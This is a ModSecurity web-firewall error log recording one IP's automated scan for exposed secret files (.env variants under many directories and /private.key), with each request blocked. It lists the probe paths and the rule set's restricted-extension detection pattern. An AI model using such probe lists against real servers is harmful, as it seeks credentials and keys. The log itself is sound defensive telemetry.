[Thu Feb 26 01:03:14.211167 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/prod/.env&quot;] [unique_id &quot;aZ-NwjAL5Lg_nL66HcLh2wAAAAE&quot;]
[Thu Feb 26 01:03:14.234477 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /product/.env.staging&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/product/.env.staging&quot;] [unique_id &quot;aZ-NwjAL5Lg_nL66HcLh3AAAAAE&quot;]
[Thu Feb 26 01:03:14.234696 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/product/.env.staging&quot;] [unique_id &quot;aZ-NwjAL5Lg_nL66HcLh3AAAAAE&quot;]
[Thu Feb 26 01:03:14.234866 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/product/.env.staging&quot;] [unique_id &quot;aZ-NwjAL5Lg_nL66HcLh3AAAAAE&quot;]
[Thu Feb 26 01:03:14.240418 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /preview/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/preview/.env&quot;] [unique_id &quot;aZ-NwiSJSniLip0oFXizCgAAAAA&quot;]
[Thu Feb 26 01:03:14.240651 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/preview/.env&quot;] [unique_id &quot;aZ-NwiSJSniLip0oFXizCgAAAAA&quot;]
[Thu Feb 26 01:03:14.240794 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/preview/.env&quot;] [unique_id &quot;aZ-NwiSJSniLip0oFXizCgAAAAA&quot;]
[Thu Feb 26 01:03:14.265311 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /projbackend/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/projbackend/.env&quot;] [unique_id &quot;aZ-NwjAL5Lg_nL66HcLh3QAAAAE&quot;]
[Thu Feb 26 01:03:14.265529 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/projbackend/.env&quot;] [unique_id &quot;aZ-NwjAL5Lg_nL66HcLh3QAAAAE&quot;]
[Thu Feb 26 01:03:14.265744 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/projbackend/.env&quot;] [unique_id &quot;aZ-NwjAL5Lg_nL66HcLh3QAAAAE&quot;]
[Thu Feb 26 01:03:14.273821 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /price_hawk_client/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/price_hawk_client/.env&quot;] [unique_id &quot;aZ-NwiSJSniLip0oFXizCwAAAAA&quot;]
[Thu Feb 26 01:03:14.274043 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/price_hawk_client/.env&quot;] [unique_id &quot;aZ-NwiSJSniLip0oFXizCwAAAAA&quot;]
[Thu Feb 26 01:03:14.274191 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/price_hawk_client/.env&quot;] [unique_id &quot;aZ-NwiSJSniLip0oFXizCwAAAAA&quot;]
[Thu Feb 26 01:03:14.287449 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /project/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/project/.env&quot;] [unique_id &quot;aZ-NwjAL5Lg_nL66HcLh3gAAAAE&quot;]
[Thu Feb 26 01:03:14.287684 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/project/.env&quot;] [unique_id &quot;aZ-NwjAL5Lg_nL66HcLh3gAAAAE&quot;]
[Thu Feb 26 01:03:14.287840 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/project/.env&quot;] [unique_id &quot;aZ-NwjAL5Lg_nL66HcLh3gAAAAE&quot;]
[Thu Feb 26 01:03:14.300779 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /prisma/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/prisma/.env&quot;] [unique_id &quot;aZ-NwiSJSniLip0oFXizDAAAAAA&quot;]
[Thu Feb 26 01:03:14.301011 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/prisma/.env&quot;] [unique_id &quot;aZ-NwiSJSniLip0oFXizDAAAAAA&quot;]
[Thu Feb 26 01:03:14.301166 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/prisma/.env&quot;] [unique_id &quot;aZ-NwiSJSniLip0oFXizDAAAAAA&quot;]
[Thu Feb 26 01:03:14.313992 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /project_root/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/project_root/.env&quot;] [unique_id &quot;aZ-NwjAL5Lg_nL66HcLh3wAAAAE&quot;]
[Thu Feb 26 01:03:14.314215 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/project_root/.env&quot;] [unique_id &quot;aZ-NwjAL5Lg_nL66HcLh3wAAAAE&quot;]
[Thu Feb 26 01:03:14.314377 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/project_root/.env&quot;] [unique_id &quot;aZ-NwjAL5Lg_nL66HcLh3wAAAAE&quot;]
[Thu Feb 26 01:03:14.325406 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.key&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/private.key&quot;] [unique_id &quot;aZ-NwiSJSniLip0oFXizDQAAAAA&quot;]
[Thu Feb 26 01:03:14.325913 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/private.key&quot;] [unique_id &quot;aZ-NwiSJSniLip0oFXizDQAAAAA&quot;]
[Thu Feb 26 01:03:14.326075 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/private.key&quot;] [unique_id &quot;aZ-NwiSJSniLip0oFXizDQAAAAA&quot;]
[Thu Feb 26 01:03:14.341652 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /protected/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/protected/.env&quot;] [unique_id &quot;aZ-NwjAL5Lg_nL66HcLh4AAAAAE&quot;]
[Thu Feb 26 01:03:14.341863 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/protected/.env&quot;] [unique_id &quot;aZ-NwjAL5Lg_nL66HcLh4AAAAAE&quot;]
[Thu Feb 26 01:03:14.342031 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/protected/.env&quot;] [unique_id &quot;aZ-NwjAL5Lg_nL66HcLh4AAAAAE&quot;]
[Thu Feb 26 01:03:14.354723 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /processor/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/processor/.env&quot;] [unique_id &quot;aZ-NwiSJSniLip0oFXizDgAAAAA&quot;]
[Thu Feb 26 01:03:14.354940 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/processor/.env&quot;] [unique_id &quot;aZ-NwiSJSniLip0oFXizDgAAAAA&quot;]
[Thu Feb 26 01:03:14.355113 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/processor/.env&quot;] [unique_id &quot;aZ-NwiSJSniLip0oFXizDgAAAAA&quot;]
[Thu Feb 26 01:03:14.370071 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /psnlink/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/psnlink/.env&quot;] [unique_id &quot;aZ-NwjAL5Lg_nL66HcLh4QAAAAE&quot;]
